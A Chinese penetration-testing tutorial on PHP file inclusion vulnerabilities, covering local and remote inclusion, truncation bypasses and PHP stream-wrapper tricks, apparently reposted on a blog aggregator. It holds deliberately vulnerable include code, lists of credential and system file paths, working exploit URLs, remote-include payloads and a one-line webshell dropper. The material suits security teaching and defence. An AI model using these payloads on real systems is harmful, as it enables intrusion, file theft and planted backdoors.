渗透测试--文件包含漏洞

文件包含漏洞

前言

《Web安全实战》系列集合了WEB类常见的各种漏洞,笔者根据自己在Web安全领域中学习和工作的经验,对漏洞原理和漏洞利用面进行了总结分析,致力于漏洞准确性、丰富性,希望对WEB安全工作者、WEB安全学习者能有所帮助,减少获取知识的时间成本。

0x01 文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

  
  

    例如:

    $_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

    0x02 本地文件包含漏洞

    无限制本地文件包含漏洞

    测试代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>
    
      
      

      测试结果:

      通过目录遍历漏洞可以获取到系统中其他文件的内容:

      测试结果

      常见的敏感信息路径:

      Windows系统

      c:\boot.ini // 查看系统版本

      c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

      c:\windows\repair\sam // 存储Windows系统初次安装的密码

      c:\ProgramFiles\mysql\my.ini // MySQL配置

      c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

      c:\windows\php.ini // php 配置信息

      Linux/Unix系统

      /etc/passwd // 账户信息

      /etc/shadow // 账户密码文件

      /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

      /usr/local/app/php5/lib/php.ini // PHP相关配置

      /etc/httpd/conf/httpd.conf // Apache配置文件

      /etc/my.conf // mysql 配置文件

      session文件包含漏洞

      利用条件:

      session的存储位置可以获取。

      1. 通过phpinfo的信息可以获取到session的存储位置。

      通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

      获取到session的存储位置

      2. 通过猜测默认的session存放位置进行尝试。

      如linux下默认存储在/var/lib/php/session目录下:

      默认存储

      session中的内容可以被控制,传入恶意代码。

      示例:

      
        
        

      <?php

      session_start();

      $ctfs=$_GET['ctfs'];

      $_SESSION["username"]=$ctfs;

      ?>

        漏洞分析

        此php会将获取到的GET型ctfs变量的值存入到session中。

        当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

        session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

        通过开发者模式获取

        所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

        到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

        
          
          

        username|s:4:"ctfs";

        [root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

        username|s:4:"ctfs"

          漏洞利用

          通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

          当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

          
            
            

          [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

          username|s:18:"<?php phpinfo();?>";

            攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

            解析恶意代码getshell

            有限制本地文件包含漏洞绕过

            %00截断

            条件:magic_quotes_gpc = Off php版本<5.3.4

            测试代码:

            <?php
                $filename  = $_GET['filename'];
                include($filename . ".html");
            ?>
            
              
              

              测试结果:

              http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
              
                
                

                测试结果

                路径长度截断

                条件:windows OS,点号需要长于256;linux OS 长于4096

                Windows下目录最大长度为256字节,超出的部分会被丢弃;

                Linux下目录最大长度为4096字节,超出的部分会被丢弃。

                测试代码:

                <?php
                    $filename  = $_GET['filename'];
                    include($filename . ".html");
                ?>
                
                  
                  

                  EXP:

                  http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
                  
                    
                    

                    测试结果

                    点号截断

                    条件:windows OS,点号需要长于256

                    测试代码:

                    <?php
                        $filename  = $_GET['filename'];
                        include($filename . ".html");
                    ?>
                    
                      
                      

                      EXP:

                      http://www.ctfs-wiki.com/FI/FI.php
                      ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                      
                        
                        

                        测试结果

                        0x03 远程文件包含漏洞

                        PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

                        allow_url_fopen = On(是否允许打开远程文件)

                        allow_url_include = On(是否允许include/require远程文件)

                        无限制远程文件包含漏洞

                        测试代码:

                        <?php
                            $filename  = $_GET['filename'];
                            include($filename);
                        ?>
                        
                          
                          

                          测试代码

                          通过远程文件包含漏洞,包含php.txt可以解析。

                          http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
                          
                            
                            

                            测试结果:

                            测试结果

                            有限制远程文件包含漏洞绕过

                            测试代码:

                            <?php include($_GET['filename'] . ".html"); ?>
                            
                              
                              

                              代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

                              测试代码

                              问号绕过
                              http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
                              
                                
                                

                                问号绕过

                                #号绕过
                                http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
                                
                                  
                                  

                                  #号绕过

                                  还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

                                  空格绕过

                                  http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
                                  
                                    
                                    

                                    空格绕过

                                    0x04 PHP伪协议

                                    PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

                                    目录

                                    目录

                                    php:// 输入输出流

                                    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

                                    php://filter(本地磁盘文件进行读取)

                                    元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。

                                    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

                                    条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

                                    条件

                                    测试代码:

                                    <?php
                                        $filename  = $_GET['filename'];
                                        include($filename);
                                    ?>
                                    
                                      
                                      

                                      测试代码

                                      php://input

                                      可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的。

                                      用法:?file=php://input 数据利用POST传过去。

                                      php://input (读取POST数据)

                                      碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

                                      测试代码:

                                      <?php
                                          echo file_get_contents("php://input");
                                      ?>
                                      
                                        
                                        

                                        测试结果:

                                        测试结果

                                        php://input(写入木马)

                                        测试代码:

                                        <?php
                                            $filename  = $_GET['filename'];
                                            include($filename);
                                        ?>
                                        
                                          
                                          

                                          条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

                                          如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

                                          <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
                                          
                                            
                                            

                                            在当前目录下写入一个木马

                                            测试结果:

                                            测试结果

                                            如果不开启allow_url_include会报错:报错信息

                                            php://input(命令执行)

                                            测试代码:

                                            <?php
                                                $filename  = $_GET['filename'];
                                                include($filename);
                                            ?>
                                            
                                              
                                              

                                              条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

                                              POST过去PHP代码如果不开启allow_url_include会报错:

                                              报错信息

                                              file://伪协议 (读取文件内容)

                                              通过file协议可以访问本地文件系统,读取到文件的内容

                                              测试代码:

                                              <?php
                                                  $filename  = $_GET['filename'];
                                                  include($filename);
                                              ?>
                                              
                                                
                                                

                                                测试代码

                                                data://伪协议

                                                数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

                                                data://(读取文件)

                                                和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 "I love PHP" echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>

                                                注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

                                                如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

                                                <?php
                                                    $filename  = $_GET['filename'];
                                                    include($filename);
                                                ?>
                                                
                                                  
                                                  

                                                  测试结果

                                                  phar://伪协议

                                                  这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

                                                  用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

                                                  测试代码:

                                                  <?php
                                                      $filename  = $_GET['filename'];
                                                      include($filename);
                                                  ?>
                                                  
                                                    
                                                    

                                                    测试结果

                                                    zip://伪协议

                                                    zip伪协议和phar协议类似,但是用法不一样。

                                                    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

                                                    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

                                                    测试代码:

                                                    <?php
                                                        $filename  = $_GET['filename'];
                                                        include($filename);
                                                    ?>
                                                    
                                                      
                                                      

                                                      测试结果

                                                      本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/968940.html

                                                      如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

                                                      相关文章

                                                      深入浅出Java反射:掌握动态编程的艺术

                                                      小程一言反射何为反射反射核心类反射的基本使用获取Class对象创建对象调用方法访问字段 示例程序应用场景优缺点分析优点缺点 注意 再深入一些反射与泛型反射与注解反射与动态代理反射与类加载器 结语 小程一言 本专栏是对Java知识点的总结。在学习Java的过程中&#xff0c;学习…

                                                      QGIS如何查看海拔剖面图

                                                      一、基础概念与工具准备 地形剖面图定义 地形剖面图是沿地表某一直线方向的垂直断面图&#xff0c;用于展示地势起伏、坡度变化和海拔分布。其核心要素包括水平距离轴&#xff08;X轴&#xff09;和海拔高度轴&#xff08;Y轴&#xff09;&#xff0c;可通过等高线或数字高程模…

                                                      vnctf2025--学生姓名登记系统

                                                      首先进入靶场 先随便输入一个123试试 这个地方将123直接回显出来&#xff0c;很有可能是ssti模板注入&#xff0c;输入{{7*7}}看看是否回显 回显49&#xff0c;说明确实有这个漏洞 现在知道是ssti模板注入了&#xff0c;下一步应该是确定模板引擎是什么 这个时候需要看题目给…

                                                      清华大学新闻与传播学院沈阳团队出品的《DeepSeek:从入门到精通》104页PDF

                                                      前言 本机运行DeepSeek R1大模型文章如下&#xff1a; Windows电脑本地部署运行DeepSeek R1大模型&#xff08;基于Ollama和Chatbox&#xff09;【保姆级万字教程】在Windows计算机部署DeepSeek大模型&#xff0c;给在实验室无外网的同事们用&#xff08;基于Ollama和OpenWebUI…

                                                      Jenkins 通过 Execute Shell 执行 shell 脚本 七

                                                      Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…

                                                      开发完的小程序如何分包

                                                      好几次了&#xff0c;终于想起来写个笔记记一下 我最开始并不会给小程序分包&#xff0c;然后我就各种搜&#xff0c;发现讲的基本上都是开发之前的小程序分包&#xff0c;可是我都开发完要发布了&#xff0c;提示我说主包太大需要分包&#xff0c;所以我就不会了。。。 好了…

                                                      bitcoinjs学习1—P2PKH

                                                      1. 概述 在本学习笔记中&#xff0c;我们将深入探讨如何使用 bitcoinjs-lib 库构建和签名一个 P2PKH&#xff08;Pay-to-PubKey-Hash&#xff09; 比特币交易。P2PKH 是比特币网络中最常见和最基本的交易类型之一&#xff0c;理解其工作原理是掌握比特币交易构建的关键。 想要详…

                                                      有限状态系统的抽象定义及CEGAR分析解析理论篇

                                                      文章目录 一、有限状态系统的抽象定义及相关阐述1、有限状态系统定义2、 有限状态系统间的抽象关系&#xff08;Abstract&#xff09;2.1 基于函数的抽象定义2.2 基于等价关系的抽象定义 二、 基于上面的定义出发&#xff0c;提出的思考1. 为什么我们想要/需要进行抽象2. 抽象是…

                                                      【linux学习指南】线程同步与互斥

                                                      文章目录 &#x1f4dd;线程互斥&#x1f320; 库函数strncpy&#x1f309;进程线程间的互斥相关背景概念&#x1f309;互斥量mutex &#x1f320;线程同步&#x1f309;条件变量&#x1f309;同步概念与竞态条件&#x1f309; 条件变量函数 &#x1f6a9;总结 &#x1f4dd;线…

                                                      云上话ai

                                                      这两天参加了几场ai视频直播 今天想分享一下照片&#xff0c;记录一下&#xff5e;

                                                      OpenVINO 2025.0重磅升级:开启⽣成式AI全场景⾰命!

                                                      2025年2⽉6⽇&#xff0c;英特尔OpenVINO™ 2025.0版本震撼发布&#xff0c;本次升级堪称近三年最⼤规模技术⾰新&#xff01;从⽣成 式AI性能跃升到全栈硬件⽀持&#xff0c;从开发者⼯具链优化到边缘计算突破&#xff0c;六⼤核⼼升级重新定义AI部署效率。 一&#xff0c;&a…

                                                      语言大模型基础概念 一(先了解听说过的名词都是什么)

                                                      SFT&#xff08;监督微调&#xff09;和RLHF&#xff08;基于人类反馈的强化学习&#xff09;的区别 STF&#xff08;Supervised Fine-Tuning&#xff09;和RLHF&#xff08;Reinforcement Learning from Human Feedback&#xff09;是两种不同的模型训练方法&#xff0c;分别…

                                                      裙子贴图提示词【图生图】

                                                      正向&#xff1a; (a plaid short skirt with checkered texture:1.4),(no human figure),wallpaper,incredibly absurdres,huge filesize,highres,absurdres,artbook_game c,s,rt,octane,no light,best quality,illustration,looking at viewer,impasto,canvas,realistic,rea…

                                                      【竞技宝】LCK:KT0-3爆冷不敌NS淘汰出局

                                                      北京时间2月13日&#xff0c;英雄联盟LCK2025在昨天正式迎来第一阶段的季后赛&#xff0c;首战迎来KT对阵NS&#xff0c;以下是本场比赛的详细战报。 第一局&#xff1a; KT&#xff1a;安蓓萨、大树、沙皇、韦鲁斯、布隆 NS&#xff1a;杰斯、瑟庄妮、阿萝拉、卡莎、泰坦 首…

                                                      电脑端调用摄像头拍照:从基础到实现

                                                      文章目录 1. 了解navigator.mediaDevices.getUserMedia API2. 创建 HTML 结构3. 编写 JavaScript 代码3.1 打开摄像头3.2 拍照 4. 完整代码5. 测试6. 注意事项及部署 在现代 Web 开发中&#xff0c;调用摄像头进行拍照是一个常见的功能&#xff0c;尤其是在需要用户上传头像、进…

                                                      lvs的DR模式

                                                      基于Linux的负载均衡集群软件 LVS 全称为Linux Virtual Server,是一款开源的四层(传输层)负载均衡软件 Nginx 支持四层和七层(应用层)负载均衡 HAProxy 和Nginx一样,也可同时支持四层和七层(应用层)负载均衡 基于Linux的高可用集群软件 Keepalived Keepalived是Linux…

                                                      STM32 RTC 实时时钟说明

                                                      目录 背景 RTC(实时时钟)和后备寄存器 32.768HZ 如何产生1S定时 RTC配置程序 第一次上电RTC配置 第1步、启用备用寄存器外设时钟和PWR外设时钟 第2步、使能RTC和备份寄存器访问 第3步、备份寄存器初始化 第4步、开启LSE 第5步、等待LSE启动后稳定状态 第6步、配置LSE为…

                                                      2024年12月电子学会青少年机器人技术等级考试(三级)理论综合真题

                                                      202412 青少年等级考试机器人理论真题三级 一、单选题 第 1 题 Arduino UNO/Nano主控板&#xff0c;程序模块如下&#xff0c;该模块运行后&#xff0c;引脚5输出的等效电压为0V&#xff0c;变量i对应的值是&#xff1f;&#xff08; &#xff09; A&#xff1a;0 B&#xff1…

                                                      分治中的快速排序(前序遍历)与归并排序(后序遍历)详细对比分析

                                                      目录 1. 快速排序&#xff08;前序遍历&#xff09; 核心思想与步骤 关键特性 示例分析 2. 归并排序&#xff08;后序遍历&#xff09; 核心思想与步骤 关键特性 示例分析 3. 对比总结 4. 选择依据与优化策略 5. 实际应用场景 6. 核心差异图示 7. 总结 1. 快速排序…

                                                      DeepSeek 助力 Vue 开发:打造丝滑的进度条

                                                      前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…